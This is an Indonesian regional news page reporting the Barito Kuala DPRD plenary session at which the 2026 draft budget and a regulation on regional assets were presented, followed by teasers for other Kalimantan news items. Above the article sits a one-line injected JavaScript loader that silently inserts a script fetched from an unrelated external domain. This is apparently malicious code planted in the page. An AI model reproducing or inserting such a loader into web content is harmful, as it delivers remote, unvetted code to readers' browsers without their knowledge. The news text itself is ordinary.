(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN-DPRD Barito Kuala menggelar Rapat Paripurna ke-3 Masa Sidang I Tahun Sidang 2025–2026 dengan agenda penyampaian Raperda tentang APBD Tahun Anggaran 2026, Rabu (19/11/2025).
Pada sesi yang sama turut disampaikan Raperda Pengelolaan Barang Milik Daerah (BMD), sekaligus pengukuhan Pengurus Gatriwara Batola Masa Jabatan 2024–2029.
Rapat dipimpin Ketua DPRD Batola Ayu Dyan Liliana Sri Wiryono, dengan kehadiran Wakil Bupati Barito Kuala Herman Susilo yang mewakili unsur eksekutif. Kegiatan berlangsung di Ruang Sidang Lantai III DPRD Batola.
Dalam sambutannya, Wakil Bupati menyampaikan apresiasi kepada DPRD atas kesempatan untuk memaparkan kedua raperda tersebut.
“Sebagaimana kita pahami bersama, penyampaian nota keuangan Rancangan APBD Tahun Anggaran 2026 ini merupakan tindak lanjut dari kesepakatan Pemerintah Daerah dan DPRD atas Kebijakan Umum APBD (KUA) serta Prioritas dan Plafon Anggaran Sementara (PPAS) APBD Tahun 2026 yang telah kita sepakati beberapa waktu yang lalu,” ujarnya di hadapan anggota dewan.
Ia menjelaskan bahwa struktur Rancangan APBD 2026 secara umum masih selaras dengan KUA-PPAS, namun tetap memerlukan penyesuaian di beberapa pos pendapatan dan belanja. Pada rapat tersebut, eksekutif juga menyampaikan rincian nilai Rancangan APBD yang ditetapkan sebesar Rp1,99 triliun.
Terkait Raperda Pengelolaan BMD, ia menegaskan bahwa perubahan regulasi diperlukan setelah terbitnya Permendagri Nomor 7 Tahun 2024 yang mengubah Permendagri Nomor 19 Tahun 2016, serta sebagai penyesuaian terhadap PP Nomor 28 Tahun 2020 dan PP Nomor 20 Tahun 2022.
Menanggapi penyampaian tersebut, Ketua DPRD Batola Ayu Dyan Liliana Sri Wiryono menyampaikan bahwa legislatif akan segera menindaklanjuti dengan rapat bersama SKPD melalui RDP maupun rapat Panitia Anggaran dengan TAPD mulai Kamis.
“Insya Allah sebelum 30 November 2025 semuanya sudah selesai dan tuntas,” tegasnya.
Rapat paripurna ditutup dengan pengukuhan Pengurus Gatriwara Batola Masa Jabatan 2024–2029, ditandai penandatanganan berita acara oleh Ketua Perwakilan Anggota Gatriwara, Ketua I Ny. Wahdah Harmani, Ketua II Ny. Yulia Dwi Astuti Bahriannoor, dan Ketua DPRD Batola.
Setelah jeda, rapat dilanjutkan dengan Pemandangan Umum Fraksi terhadap Raperda APBD 2026 dan Raperda Pengelolaan BMD.(www.kanalkalimantan.com/hms)
Reporter: hms
Editor: Rdy
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.